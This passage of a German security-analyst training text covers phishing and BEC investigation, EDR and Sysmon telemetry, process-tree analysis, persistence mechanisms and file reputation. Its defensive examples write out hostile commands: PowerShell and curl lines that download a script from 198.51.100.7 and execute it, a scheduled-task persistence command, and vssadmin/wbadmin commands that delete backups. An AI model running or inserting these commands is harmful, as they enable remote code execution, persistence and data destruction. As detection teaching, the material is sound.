Anhänge können Makrodokumente, HTML-Anmeldeseiten oder HTML-Smuggling, passwortgeschützte Archive, Datenträgerabbilder, LNK-Verknüpfungen oder PDFs mit Links enthalten. Aktuelle Office-Versionen blockieren Makros standardmäßig in als aus dem Internet stammend markierten Dateien. Deshalb können Nachrichten Benutzer anleiten, die Blockierung aufzuheben. Ein Archivpasswort erschwert die Prüfung, obwohl einige Gateways das Passwort aus der Nachricht extrahieren und den Inhalt scannen können.

Zahlungsbetrug ohne Malware untersuchen

Bei Business Email Compromise, kurz BEC, gibt sich jemand als Kollege, Führungskraft oder Lieferant aus, um Geld, Änderungen von Zahlungsdaten oder sensible Informationen zu erlangen. Dazu kann eine ähnlich aussehende Adresse oder ein echtes kompromittiertes Postfach verwendet werden. Oft enthält die Nachricht keinen Link und keinen Anhang, sodass Scanner wenig zu prüfen haben. Ein geändertes Reply-To oder eine neue Regel, die Antworten verbirgt, ist ein nützlicher zusätzlicher Beleg.

In einem bestehenden Rechnungsaustausch bittet ein bekannter Lieferant darum, eine Zahlung über 48.000 € auf ein neues Bankkonto zu überweisen. Die Authentifizierung ist erfolgreich. Das Postfach wurde kompromittiert und der Angreifer hat Thread-Hijacking genutzt, um sich das Vertrauen in den Austausch zunutze zu machen. Bestätige die Anfrage über eine bereits in den Lieferantendaten hinterlegte Telefonnummer, bevor du Zahlungsdaten änderst. Eine in der Nachricht angegebene Nummer ist Teil der ungeprüften Anfrage.

Auch eine interne Adresse kann kompromittiert sein; beziehe interne Empfänger und Antworten in die Untersuchung des Kontos ein.

Wichtige Erkenntnisse

  • Prüfe die tatsächliche Absenderadresse und den URL-Host über sichtbare Namen und Linktexte hinaus.
  • Druck, normale Zahlungs- oder Kontoprüfungen zu umgehen, ist ein Phishing-Signal.
  • BEC kann ein echtes Postfach nutzen und weder Links noch Anhänge enthalten.
  • Bestätige geänderte Zahlungsanweisungen über einen unabhängig hinterlegten Kontakt.

Eine Phishing-Untersuchung hat zwei Aufgaben: die Nachricht verstehen und alle Personen finden, die sie erreicht hat. Eine gemeldete Kopie ist ein Ausgangspunkt. Die Handlung eines Empfängers bestimmt, welche Konto- oder Hostbelege du als Nächstes benötigst.

Die Nachricht sichern und untersuchen

Exportiere das Original mit vollständigen Headern und kopiere URLs anschließend als Text zur Untersuchung in einer isolierten Analyseumgebung. Halte Indikatoren in entschärfter Form fest, etwa hxxps://login-verify[.]net/acct, um versehentliche Klicks in Tickets zu verhindern. Bewahre das unangetastete Original neben der Arbeitskopie auf.

E-Mail-Gateways können eine URL in einen Parameter einer anderen URL einbetten. Die Prozentkodierung stellt Zeichen mit einem Prozentzeichen und zwei Hexadezimalziffern dar: %3A ist ein Doppelpunkt und %2F ein Schrägstrich. Dekodiere jeweils eine Ebene und untersuche das Ergebnis, bevor du eine weitere Ebene interpretierst.

Die URL-Dekodierung von:

https%3A%2F%2Flogin-verify.net%2Facct%3Fu%3DamFuZUBleGFtcGxlLm9yZw%3D%3D

ergibt zum Beispiel https://login-verify.net/acct?u=amFuZUBleGFtcGxlLm9yZw==. Die Base64-Dekodierung des Werts von u ergibt jane@example.org. Der Parameter identifiziert den vorgesehenen Empfänger und kann die gefälschte Seite personalisieren. Die CyberChef-Operationen URL Decode, From Base64 und Defang URL machen diese einzelnen Umwandlungen sichtbar.

Entferne vor dem Einreichen einer URL bei einem öffentlichen Dienst Werte, die das Opfer identifizieren; ein öffentliches Ergebnis oder eine personalisierte Anfrage kann dem Angreifer die Untersuchung offenlegen. Prüfe gekürzte Links über einen genehmigten Analysedienst in der Vorschau. Neben der URL selbst sind auch die Sichtbarkeit und das Einreichungsverhalten des Dienstes wichtig.

Dateien untersuchen und Suchfelder extrahieren

Berechne den SHA-256-Hashwert eines Anhangs und schlage seine Reputation nach, bevor du ihn hochlädst. Prüfe seinen Typ anhand der ersten Bytes. Bei einer Office-Datei kann olevba Makros auflisten und automatische Auslöser wie AutoOpen oder Document_Open sowie Aufrufe wie Shell markieren. Verwende für vertrauliche interne Inhalte eine private Sandbox.

Sammle Absenderadresse und Anzeigename, die IP-Adresse im vertrauenswürdigen Received-Eintrag, Betreff, Message-ID, URL-Hosts und -Pfade sowie Anhangsnamen und Hashwerte. Bewahre genaue Werte als Beweismittel auf; verwende entschärfte Kopien in Notizen. Ein Dateiname kann sich zwischen Nachrichten ändern, während ein identischer Hashwert weiterhin identischen Dateiinhalt verknüpft.

Empfänger und Interaktionen ermitteln

Durchsuche Gateway- und Postfachdatensätze anhand mehrerer dieser Felder. Liste die Empfänger auf und unterscheide dann Zustellung und Interaktion anhand von DNS- und Proxydatensätzen, Anmeldungen nach Linkaufrufen und EDR-Ereignissen zum Öffnen und Ausführen von Anhängen.

Eine Suche kann 40 zugestellte Nachrichten, sechs Personen mit Linkaufruf und zwei Konten mit unbekannten erfolgreichen Anmeldungen wenige Minuten später finden. Sichere die Datensätze, entferne die Nachrichten der Angriffskampagne und blockiere die bösartige URL oder Domäne im Rahmen des Reaktionsprozesses. Für die zwei betroffenen Konten müssen die Passwörter zurückgesetzt und aktive Sitzungen widerrufen werden. Eine reine Empfängerliste würde den Unterschied zwischen Kontakt mit der Nachricht und wahrscheinlicher Kompromittierung übersehen.

Wird das Ticket geschlossen, weil der meldende Benutzer die Nachricht gelöscht hat, bleiben die anderen Empfänger ungeprüft. Dokumentiere, wer sie erhalten und wer interagiert hat, was danach geschah und welche Belege noch fehlen.

Wichtige Erkenntnisse

  • Bewahre die Originalnachricht auf und arbeite mit kopierten, entschärften Indikatoren.
  • Dekodiere URL-Ebenen einzeln und erkenne Parameter, die Empfänger identifizieren.
  • Schütze vertrauliche Anhänge und personalisierte URLs vor der Einreichung bei öffentlichen Diensten.
  • Ermittle das Ausmaß der Angriffskampagne anhand von Nachrichtenfeldern, Hashwerten und URLs.
  • Unterscheide Zustellung, Interaktion und nachfolgende Kompromittierung.
3

Aktivitäten auf Endgeräten mit EDR untersuchen

Endgerätedatensätze erklären, welches Programm eine Datei-, Verbindungs- oder Einstellungsänderung verursacht hat. Du verfolgst die Abstammung von Prozessen, prüfst Befehlsargumente und findest die Auslöser, die einem Angreifer die Rückkehr ermöglichen. Windows, Linux und macOS hinterlassen unterschiedliche Artefakte, aber die Untersuchung stellt dieselben praktischen Fragen: Was hat sich geändert, wer hat es verursacht, war es autorisiert und welche anderen Hosts zeigen dieselbe Aktivität?

3.1 EDR und Endgerätetelemetrie nutzen

Endgerätetelemetrie verbindet Netzwerk- und Dateibelege mit dem Programm, das sie verursacht hat. EDR zeichnet Endgeräteaktivität auf, erkennt verdächtiges Verhalten und ermöglicht Untersuchungen und Reaktionen aus der Ferne. Sein Verlauf kann Aktivitäten zeigen, die der aktuelle Zustand einer Datei nicht mehr erkennen lässt.

Die richtige Quelle wählen

Herkömmliche Antivirensoftware konzentriert sich auf das Blockieren bekannter bösartiger Dateien. EDR ergänzt den Verlauf von Prozessen, Dateien, Registrierung, Verbindungen und Anmeldungen. XDR führt Endgerätebelege mit Netzwerk-, E-Mail-, Identitäts- und Cloud-Quellen zusammen. MDM verwaltet Smartphones und Tablets: Sein Inventar und seine Konformitätsdatensätze können nicht genehmigte Apps, Rooting oder Jailbreaking aufdecken; außerdem unterstützt es Maßnahmen wie das Sperren oder Löschen von Geräten.

Windows-Sicherheitsereignisse bieten nützliche Anhaltspunkte:

EreignisAktivität
4688Ein Prozess wurde erstellt; die Aufnahme der Befehlszeile erfordert eine eigene Richtlinie.
4624Eine Anmeldung war erfolgreich.
4698Eine geplante Aufgabe wurde erstellt, sofern die erforderliche Überwachung aktiviert ist.
4697Ein Dienst wurde installiert.
4720Ein Benutzerkonto wurde erstellt.

Auch Systemereignis 7045 zeichnet eine Dienstinstallation auf. Windows speichert Ereignisse in .evtx-Dateien, die für die strukturierte Suche exportiert werden können. Verwende unter Linux auditd, Authentifizierungsprotokolle und das Systemjournal.

Die Prozessidentität von Sysmon nutzen

Sysmon ist als integrierte optionale Funktion unter Windows 11 und Windows Server 2025 sowie als Sysinternals-Download für andere Systeme verfügbar. Ereignis 1 zeichnet die Prozesserstellung mit vollständiger Befehlszeile, Elternprozess, Hashwerten und einer Prozess-GUID auf. Diese GUID unterscheidet Prozesse auch dann, wenn das Betriebssystem eine PID erneut vergibt.

Weitere nützliche Ereignisse sind 3 für Netzwerkverbindungen, 11 für Dateierstellung, 12–14 für Registrierungsänderungen und 22 für DNS-Abfragen. Ereignis 3 ist standardmäßig deaktiviert, weil es ein erhebliches Datenvolumen erzeugen kann. Prüfe die aktive Konfiguration, bevor du ein fehlendes Ereignis als fehlende Aktivität interpretierst.

Von einer Alarmmeldung aus weiter untersuchen

Beginne mit Host, Benutzer, Erkennung und Prozessbaum. Lies, was den Prozess gestartet hat, was er gestartet hat und auf welche Dateien, Registrierungswerte und Ziele er zugegriffen hat. Erweitere die Zeitleiste vor und nach der Alarmmeldung; der Zeitstempel einer Erkennung ist nicht unbedingt der Beginn des Angriffs.

Wechsle von einem Hashwert zu allen Hosts mit dieser Datei oder von einem Ziel zu allen Hosts, die es kontaktiert haben. Der Verbreitungsgrad liefert Kontext: Ein unbekanntes Programm auf einem von 5.000 Hosts ist ungewöhnlich, während Software auf allen Hosts eine Standardinstallation sein kann. Vergleiche beides mit genehmigter Software und genehmigtem Verhalten; auch weit verbreitete bösartige Aktivität kann einen hohen Verbreitungsgrad haben.

Reaktion und Sichtbarkeit aufeinander abstimmen

EDR kann einen Host isolieren, einen Prozess stoppen, eine Datei in Quarantäne stellen oder sichern, einen Hashwert blockieren und eine Live-Response öffnen. Die Isolierung erhält normalerweise die Verwaltungsverbindung, während sie den übrigen Netzwerkzugang einschränkt. Folge dem Reaktions-Playbook und sichere benötigte Beweismittel vor Aktionen, die Prozessspeicher zerstören oder Dateien verändern.

Prüfe den Sensorstatus, wenn die Konsole keine Meldungen zeigt: Installationsstatus, kürzlich erfolgte Meldungen, Konfiguration und Anzeichen von Manipulation. Ein gestoppter Agent erzeugt eine Überwachungslücke und kann selbst Teil des Angriffs sein.

Wichtige Erkenntnisse

  • EDR liefert Endgeräteverlauf und Reaktionsmöglichkeiten; XDR verbindet Quellen; MDM verwaltet Mobilgeräte.
  • Bestätige die Überwachungs- und Sensorkonfiguration, bevor du dich auf fehlende Ereignisse stützt.
  • Nutze Prozess-GUIDs, um Prozessinstanzen bei erneuter PID-Vergabe zu unterscheiden.
  • Untersuche Prozessbäume, Host-Zeitleisten, Hashwerte und Ziele durch Pivoting.
  • Sichere benötigte Beweismittel und prüfe den Sensorstatus bei Reaktionsentscheidungen.

3.2 Prozesse und Befehlszeilen analysieren

Ein Prozessname ist nur ein Feld einer Untersuchung. Prüfe den Pfad der ausführbaren Datei, Elternprozess, Benutzer, Befehlszeile, Signatur und Hashwert zusammen. Halte die PID mit ihrer Startzeit fest oder nutze eine Prozess-GUID, um nicht verschiedene Prozesse zu verknüpfen, denen dieselbe PID erneut zugewiesen wurde.

Name, Pfad und Elternprozess vergleichen

Ein normaler svchost.exe läuft aus C:\Windows\System32, wird von services.exe gestartet und hat normalerweise ein Gruppenargument -k. lsass.exe läuft als einzelne Instanz aus demselben Systemverzeichnis und wird von wininit.exe gestartet; auch services.exe hat diesen Elternprozess. Explorer läuft normalerweise pro angemeldetem Benutzer und sein Elternprozess userinit.exe wird beendet. Ein fehlender laufender Elternprozess bei Explorer ist daher anders zu interpretieren als ein von Word gestarteter Systemprozess.

Ein leicht abweichender Name wie scvhost.exe, ein Systemname in C:\Users\Public oder ein ungewöhnlicher LSASS-Elternprozess deutet auf Maskierung hin. Wenn Office eine Shell startet, ist das ein weiterer wichtiger Hinweis: Verfolge WINWORD.EXE oder EXCEL.EXE zu cmd.exe, PowerShell, wscript.exe oder mshta.exe. Startet auf einem Webserver w3wp.exe eine Befehlsshell, deutet das auf eine Webshell hin.

Lesen, was signierte Werkzeuge ausführen sollen

LOLBins sind legitime Systemprogramme, die ein Angreifer missbraucht. certutil.exe kann mit -urlcache -split -f eine Datei herunterladen; mshta.exe kann eine HTML-Anwendung von einer URL ausführen; rundll32.exe und regsvr32.exe können DLL- oder Skriptcode ausführen. bitsadmin.exe kann Dateien übertragen und wmic process call create startet Prozesse. Ihre gültigen Signaturen benennen die Herausgeber der Programme, während Elternprozess und Argumente ihre Verwendung in diesem Fall zeigen.

PowerShell-Parameter wie -nop, -w hidden, -ExecutionPolicy Bypass und -enc verdienen eine genaue Prüfung. IEX führt Text als Code aus; iwr und DownloadString rufen Inhalte ab. Die Skriptblockprotokollierung, Ereignis 4104, kann dekodierte Skriptinhalte offenlegen.

Vor dem Urteil dekodieren

PowerShell -EncodedCommand verwendet Base64-kodierten UTF-16LE-Text. Wende für -enc aQB3AHIAIABoAHQAdABwADoALwAvADEAOQA4AC4ANQAxAC4AMQAwADAALgA3AC8AYQAuAHAAcwAxACAAfAAgAGkAZQB4AA== in CyberChef From Base64 und anschließend Decode text as UTF-16LE an. Das Ergebnis ist:

iwr http://198.51.100.7/a.ps1 | iex

iwr ruft das Skript ab und die Pipeline übergibt es zur Ausführung an iex. So kann Code ausgeführt werden, ohne das heruntergeladene Skript als Datei zu speichern. Durch Nullbytes getrennte Buchstaben nach der Base64-Dekodierung weisen auf die fehlende UTF-16LE-Interpretation hin.

Verfolge eine Prozesskette der Reihe nach: Outlook öffnet invoice.docm in Word; Word startet eine Befehlsshell; PowerShell kontaktiert den Server und schreibt upd.exe; die neue ausführbare Datei startet eigenen Verkehr. Verknüpfe jeden Schritt mit aufgezeichneten Ereignissen. Auch ein signierter Verteilungsagent kann kodiertes PowerShell für eine genehmigte Installation verwenden. Prüfe daher den dekodierten Inhalt und die Autorisierung.

Untersuche unter Linux ausführbare Dateien in /tmp oder /dev/shm, die Weiterleitung von curl an bash, eine auf einen entfernten Socket umgeleitete Shell oder einen mit „(deleted)“ markierten Eintrag /proc/<pid>/exe. Ein Benutzerprozess namens [kworker/0:1] ist verdächtig, wenn er eine ausführbare Datei auf dem Datenträger hat: Echte Kernel-Threads stammen von kthreadd, PID 2, ab und haben keine ausführbare Datei.

Wichtige Erkenntnisse

  • Beurteile die vollständige Prozessidentität und -aktivität einschließlich Pfad, Elternprozess und Argumenten.
  • Vergleiche Namen von Systemprozessen mit den erwarteten Pfaden und Elternprozessen.
  • Ein signiertes Systemwerkzeug kann eine von einem Angreifer gesteuerte Aktion ausführen.
  • Dekodiere PowerShell zuerst aus Base64 und anschließend als UTF-16LE und untersuche den resultierenden Befehl.
  • Verfolge die Prozessabstammung bis zu Downloads, Dateierstellung und späteren Verbindungen.
  • Nutze unter Linux Pfade ausführbarer Dateien und Elternprozesse, um irreführende Prozessnamen zu prüfen.

3.3 Persistenzmechanismen erkennen

Persistenz gibt einem Angreifer eine Möglichkeit, nach Unterbrechungen wie Abmeldung oder Neustart die Ausführung oder den Zugriff wiederzuerlangen. Ein Host kann mehrere Mechanismen mit jeweils eigenem Auslöser enthalten. Dokumentiere Ort, Ziel, Zeitstempel und Datei-Hashwert, bevor du einen Eintrag entfernst.

Windows-Autostart-Orte untersuchen

Run-Schlüssel unter HKCU\Software\Microsoft\Windows\CurrentVersion gelten für den aktuellen Benutzer; dieser kann sie ohne Administratorrechte beschreiben. Der entsprechende HKLM-Run-Schlüssel gilt für alle Benutzer und benötigt erhöhte Rechte für Änderungen. RunOnce ermöglicht eine einmalige Ausführung; HKLM RunOnce wird ausgeführt, wenn sich nach einem Neustart ein Administrator anmeldet. Run-Einträge werden bei der Anmeldung ausgelöst, nicht beim Kopieren einer Datei auf den Datenträger.

Auch Autostart-Ordner starten Inhalte bei der Anmeldung. Prüfe AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup des Benutzers und den gemeinsam genutzten Ordner C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp. Die Sysmon-Registrierungsereignisse 12–14 und das Dateiereignis 11 helfen, diese Änderungen zeitlich einzuordnen.

Geplante Aufgaben können durch ein Intervall, einen Zeitpunkt oder ein Ereignis ausgelöst werden:

schtasks /create /sc minute /mo 30 /tn "GoogleUpdateTaskCore" /tr "C:\Users\Public\upd.exe"

Dies führt das Ziel alle 30 Minuten oder 48-mal pro Tag aus. Der vertrauenswürdig wirkende Aufgabenname identifiziert den Herausgeber des Ziels nicht. Untersuche Sicherheitsereignis 4698 bei aktivierter Überwachung, das Betriebsprotokoll der Aufgabenplanung und die Definitionen unter C:\Windows\System32\Tasks.

Dienste können beim Systemstart beginnen, häufig als SYSTEM. Untersuche Systemereignis 7045 oder Sicherheitsereignis 4697 und den konfigurierten Image-Pfad. Ein neuer Dienst, der aus einem öffentlichen Ordner startet oder PowerShell ausführt, verdient Aufmerksamkeit.

WMI-Ereignisabonnements verbinden einen Ereignisfilter mit einer Consumer-Aktion und können ohne eine Autostart-Datei bestehen bleiben; Sysmon 19–21 zeichnet ihre Komponenten und Verknüpfung auf. Untersuche auch neue Konten und Administratormitgliedschaften, Webserverdateien, Browsererweiterungen und unerwartete DLLs, die durch Manipulation der Suchreihenfolge geladen werden.

Linux und macOS prüfen

Untersuche unter Linux für jeden Benutzer crontab -l, außerdem /etc/crontab, /etc/cron.d/, systemd-Unit-Dateien in /etc/systemd/system/, Shell-Startdateien und ~/.ssh/authorized_keys. Liste Units mit systemctl list-unit-files auf. macOS verwendet LaunchAgents und LaunchDaemons mit Property-List-Definitionen; prüfe ihre konfigurierten Programme und Auslöser.

In einer Benutzer-Crontab lädt */10 * * * * curl -s http://198.51.100.7/s.sh | bash alle 10 Minuten ein Skript herunter und führt es aus. Die Felder stehen für Minute, Stunde, Tag des Monats, Monat und Wochentag. Ein neuer SSH-Schlüssel schafft selbst nach einem Zurücksetzen des Passworts einen weiteren Zugangsweg.

Befunde vergleichen und verknüpfen

Autoruns fasst viele Windows-Autostart-Orte in einer Ansicht zusammen. Das Ausblenden vertrauenswürdiger Herausgeber kann die Übersicht beim ersten Durchgang verbessern; prüfe signierte Einträge aber erneut, wenn andere Belege auf sie hindeuten. Vergleiche mit einem intakten Host aus demselben Systemabbild und der genehmigten Baseline.

Ein Run-Wert namens OneDriveUpdate zeigt zum Beispiel auf eine unsignierte odu.exe im Roaming-Profil eines Benutzers. Die Erstellungszeiten der Datei und des Registrierungseintrags liegen um 09:15 Uhr UTC, eine Minute nach der Ausführung eines verdächtigen Makros. Dieser gemeinsame Zeitpunkt und der Zielpfad verbinden den Autostart-Eintrag mit dem Angriff. Prüfe nach diesem Fund die anderen Orte weiter: Eine geplante Aufgabe oder ein Dienst könnte dieselbe Nutzlast wiederherstellen.

Wichtige Erkenntnisse

  • Ermittle Auslöser und Ziel jedes Persistenzeintrags.
  • Prüfe unter Windows Run-Schlüssel, Autostart-Ordner, Aufgaben, Dienste und WMI-Abonnements.
  • Prüfe unter Linux Cron, systemd, Shell-Startdateien und SSH-Schlüssel sowie unter macOS Starteinträge.
  • Vergleiche Einträge mit einer als unbedenklich bekannten Baseline und der Zeitleiste der Infektion.
  • Dokumentiere jeden Mechanismus vor seiner Entfernung und suche nach dem ersten Fund weiter.

3.4 Datei-, Software- und Konfigurationsänderungen auf einem Host erkennen

Ein kompromittierter Host weist auch außerhalb seines Prozessbaums Änderungen auf. Suche nach neuen Dateien und neuer Software, geschwächten Sicherheitseinstellungen, ungewöhnlicher Ressourcennutzung und zur Übertragung gesammelten Dateien. Vergleiche sie mit der Rolle des Hosts und der Reihenfolge der Ereignisse.

Dateiänderungen und Herkunft untersuchen

Programme und Skripte in C:\Users\Public, %TEMP%, %APPDATA% oder /tmp verdienen Aufmerksamkeit, wenn sie dort unerwartet auftreten. Eine doppelte Erweiterung wie invoice.pdf.exe verbirgt die tatsächliche Funktion der Datei. Massenhafte Umbenennungen, neue Erweiterungen und Erpresserschreiben in vielen Ordnern bilden ein deutlich stärkeres Ransomware-Muster als eine einzelne unbekannte Datei.

Dateidaten können manipuliert werden. Sysmon-Ereignis 2 zeichnet Änderungen an der Erstellungszeit einer Datei auf, das sogenannte Timestomping. Vergleiche den Ereignisverlauf mit dem sichtbaren Datum, bevor du entscheidest, dass eine alt wirkende Datei schon vor dem Sicherheitsvorfall existierte.

Windows fügt Internetdownloads häufig den alternativen Datenstrom Zone.Identifier hinzu. Dieser Mark of the Web kann die Quell-URL enthalten; Sysmon-Ereignis 15 kann die Erstellung des Datenstroms aufzeichnen. Sichere den Datenstrom zusammen mit der Datei: Beim Kopieren oder Extrahieren kann er verloren gehen, sein Fehlen allein ist daher ein schwacher Hinweis auf die Herkunft.

Nach geschwächten Schutzmaßnahmen suchen

Untersuchungswürdige Änderungen sind deaktivierter Echtzeitschutz, neue Antivirus-Ausschlüsse, Firewallregeln für eingehende Verbindungen, neu aktiviertes RDP, neue lokale Administratoren und eingeschränkte Überwachungseinstellungen. Sicherheitsereignis 1102 zeichnet das Löschen des Sicherheitsüberwachungsprotokolls auf. Korreliere diese Änderungen mit dem verantwortlichen Benutzer oder Prozess und genehmigten Wartungsarbeiten.

Befehle wie vssadmin delete shadows /all /quiet entfernen Volumeschattenkopien und wbadmin delete catalog entfernt den Sicherungskatalog. Angreifer nutzen sie, um vor einer Ransomware-Verschlüsselung die Wiederherstellung zu beeinträchtigen. Ihr Auftreten erfordert eine sofortige Eskalation gemäß Playbook, während das Team die Prozess- und Dateiaktivität im Umfeld prüft.

Software und Ressourcennutzung vergleichen

Signierte Fernwartungssoftware kann dennoch nicht autorisierten Zugriff ermöglichen. Vergleiche das EDR- oder MDM-Inventar mit der Liste genehmigter Software und den Verteilungsdatensätzen. Untersuche Werkzeuge für Zugangsdaten, Scanner oder Cloud-Übertragungswerkzeuge wie rclone auf einem Host, für den kein genehmigter Bedarf besteht.

Ein Miner kann die CPU- oder GPU-Auslastung auf nahezu 100 % treiben und einen Mining-Pool kontaktieren, manchmal über eine stratum+tcp://-Adresse. Hohe Auslastung tritt auch bei legitimen Workloads auf. Ordne die Ressourcenlast daher einem Prozess und einem Ziel zu. Volllaufender Festplattenspeicher, erschöpfter Arbeitsspeicher und wiederholte Dienstabstürze können auf Datensammlung oder eine fehlgeschlagene Ausnutzung hinweisen.

Datenbereitstellung mit ausgehendem Verkehr verbinden

Bei der Datenbereitstellung wird Material vor der Datenexfiltration gesammelt. Große .7z- oder .rar-Archive in einem öffentlichen oder temporären Ordner, Passwortschutz und gleich große Archivteile sind nützliche Hinweise. Ermittle den erstellenden Prozess, die gesammelten Dateien und den Zeitpunkt des Vorgangs.

Erstellt ein nicht genehmigter Prozess Archivteile und sendet anschließend einen großen Upload, verbindet diese Abfolge die Vorbereitung mit der Übertragung. Flow-Daten messen den Verkehr, können aber den Inhalt des Archivs nicht zeigen. Ermittle anhand von Prozess- und Dateizugriffsbelegen, was gesammelt wurde; die Archivgröße allein kann nicht belegen, welche Datensätze die Organisation verlassen haben.

Wichtige Erkenntnisse

  • Vergleiche verdächtige Dateien und ihren aufgezeichneten Erstellungsverlauf, nicht nur die sichtbaren Daten.
  • Untersuche Sicherheitsänderungen, das Löschen von Protokollen und Aktionen, die die Wiederherstellung beeinträchtigen.
  • Prüfe die Softwaregenehmigung auch dann, wenn ein Fernzugriffswerkzeug signiert ist.
  • Ordne Ressourcenverbrauch und Artefakte der Datenbereitstellung einem verantwortlichen Prozess zu.
4

Verdächtige Dateien und ihre Reputation analysieren

Eine verdächtige Datei kann aus mehreren Blickwinkeln geprüft werden, bevor ihre Rolle klar ist. Du bestimmst ihren Inhalt, liest Reputationsangaben im Kontext, untersuchst Zeichenketten und Struktur und beobachtest einen kontrollierten Sandbox-Durchlauf. Diese Methoden liefern unterschiedliche Arten von Belegen: Eine Signatur oder ein Import deutet auf Herkunft oder Fähigkeiten hin, während die aufgezeichnete Ausführung Verhalten zeigt. Zusammen weisen sie den Weg für die nächste Suche auf betroffenen Systemen.

4.1 Die Reputation von Dateien, Hashwerten, Domänen und IP-Adressen prüfen

Reputation ergänzt lokale Belege um externen Kontext. Sie kann eine bekannte Datei identifizieren, eine neu registrierte Domäne aufdecken oder aktuelle Missbrauchsmeldungen zeigen. Das Alter der Abfrage, ihre Auswirkungen auf die Vertraulichkeit und ihr Bezug zu diesem Host sind ebenso wichtig wie ihr Wert.

Die genaue Datei identifizieren

Ein kryptografischer Hashwert gibt einem Dateiinhalt eine Kennung fester Länge. MD5 verwendet 32 Hexadezimalzeichen, SHA-1 40 und SHA-256 64. Praktische Kollisionsangriffe schwächen MD5 und SHA-1; verwende daher SHA-256 zur Identifizierung von Beweismitteln.

Get-FileHash .\file.exe -Algorithm SHA256
certutil -hashfile file.exe SHA256

Unter Linux verwendest du sha256sum file. Schon die Änderung eines einzigen Bytes verändert den Hashwert stark: Die SHA-256-Anfänge von „invoice“ und „Invoice“ lauten 52d6e3de4fa0dcc2 und b832002da297545f. Ein Angreifer kann eine Nutzlast erneut kompilieren oder auffüllen, um einen Treffer anhand des exakten Hashwerts zu vermeiden. Fuzzy-Hashes wie ssdeep vergleichen Ähnlichkeit; Imphash gruppiert PE-Dateien anhand ihrer Importe.

Einen Reputationsbericht interpretieren

VirusTotal kombiniert mehrere Engines, Beziehungen und Analyseberichte. Ein Ergebnis von 58/72 bedeutet, dass etwa 81 % die Datei als verdächtig markiert haben; 3/72 entsprechen etwa 4 %. Eine niedrige Anzahl kann auf einen Fehlalarm oder eine neue Bedrohung hinweisen. Betrachte neben dem Verhältnis auch Erkennungsnamen, erste Einreichung, beobachtete Dateinamen, Signatur und kontaktierte Infrastruktur. Null Erkennungen lassen die Frage nach dem Verhalten offen.

Eine Hashwertabfrage vermeidet das Senden des Dateiinhalts, verrät aber, für welchen Hashwert du dich interessierst. Wenn der Dienst die Datei bereits besitzt, kann der Hashwert sie identifizieren. Uploads geben das tatsächliche Sample weiter und können es Abonnenten oder einem Angreifer offenlegen, der Einreichungen beobachtet. Prüfe zuerst den Hashwert und bewahre vertrauliche Inhalte in genehmigten privaten Analysesystemen auf.

Eine gültige Signatur erhöht das Vertrauen in die Herkunft, dennoch bleiben gestohlene Zertifikate und der Missbrauch signierter Systemwerkzeuge möglich. Prüfe sowohl die Gültigkeit der Signatur als auch, ob der Signaturgeber zum angegebenen Produkt passt. Beurteile anschließend den beobachteten Befehl oder das Dateiverhalten.

Domänen- und IP-Kontext lesen

Registrierungsdaten können eine Registrierungsstelle und ein Erstellungsdatum zeigen, selbst wenn Inhaberangaben geschwärzt sind. RDAP ist seit der Umstellung im Januar 2025 das maßgebliche Protokoll für Registrierungsdaten generischer Top-Level-Domains; Werkzeuge können ihre Ansicht weiterhin „WHOIS“ nennen. Eine zwei Tage vor einer Phishing-Kampagne erstellte Domäne ist ein nützliches Warnzeichen. Passives DNS ergänzt frühere Adresszuordnungen und Certificate Transparency die Namen ausgestellter Zertifikate.

AbuseIPDB sammelt IP-Missbrauchsmeldungen. Prüfe die Daten und den gemeldeten Dienst: Eine Cloud-IP-Adresse kann den Kunden gewechselt haben. GeoIP gibt einen ungefähren Standort der Infrastruktur an, nicht den verlässlichen Standort der Person hinter einem VPN, Tor oder einem Cloud-Dienst. Auch Shared Hosting und CDNs machen weitreichende IP-Blockierungen störanfällig.

Belege bevorzugen, die Änderungen überstehen

Die Pyramid of Pain ordnet Hashwerte, IP-Adressen, Domänen, Host- und Netzwerkartefakte, Werkzeuge und Angreifertechniken danach, wie schwer sie für den Angreifer zu ändern sind. Exakte Hashwerte lassen sich leicht ersetzen. Eine Erkennung dafür, dass Word ein Downloadprogramm startet und Persistenz einrichtet, kann auch nach Änderungen am Datei-Hashwert und Ziel nützlich bleiben. Verwalte kurzlebige Indikatoren mit Prüf- oder Ablaufdaten und dokumentiere zugleich das Verhalten, das sie hervorgebracht hat.

Wichtige Erkenntnisse

  • Nutze SHA-256, um exakte Dateien zu identifizieren, und beachte, dass geänderte Dateien neue Hashwerte haben.
  • Lies Erkennungsverhältnisse zusammen mit Verhalten, Daten, Signaturen und Beziehungen.
  • Hashwertabfragen verraten ein Interesse; Datei-Uploads geben das Sample selbst preis.
  • Prüfe Registrierungsalter, passives DNS und aktuelle IP-Meldungen im Kontext.
  • GeoIP lokalisiert Infrastruktur ungefähr; gemeinsam genutzte IP-Adressen erfordern sorgfältigen Umgang.
  • Verhaltensbasierte Erkennungen überstehen Änderungen, die Hashwert- oder IP-Blockierungen unwirksam machen.

4.2 Eine grundlegende statische Analyse durchführen

Die statische Analyse untersucht eine Datei, ohne sie auszuführen. Sie hilft festzustellen, was die Datei tatsächlich ist, welche Fähigkeiten sie möglicherweise enthält und worauf eine Sandbox achten sollte. Unterscheide Hinweise auf Fähigkeiten von tatsächlich beobachtetem Verhalten.

Typ und lesbaren Inhalt bestimmen

Dateierweiterungen lassen sich leicht ändern. Untersuche die magischen Bytes mit file, einem Hex-Viewer oder der CyberChef-Operation Detect File Type:

Erste BytesWahrscheinliches Format
4D 5A oder MZFamilie ausführbarer Windows-Dateien
25 50 44 46 oder %PDFPDF
50 4B 03 04 oder PKZIP, einschließlich moderner Office-Container
7F 45 4C 46Ausführbare Linux-ELF-Datei

Ein Anhang namens invoice.pdf, der mit MZ beginnt, gibt sich als Dokument aus. Bestätige die Struktur, denn eine kurze Signatur allein ist nur eine erste Typprüfung.

GNU strings -a file.exe extrahiert ASCII-Text aus der gesamten Datei. strings -a -e l file.exe extrahiert UTF-16LE-Text, der in Windows-Programmen häufig ist. FLOSS und Sysinternals Strings können helfen, beides abzudecken. Suche nach Domänen, URLs, Befehlen, Registrierungspfaden, Dateinamen und Fehlermeldungen. Extrahierter Text kann ungenutzt oder irreführend sein. Halte daher seine Position fest und gleiche ihn mit späterem Verhalten ab.

Struktur und Hinweise auf Packen lesen

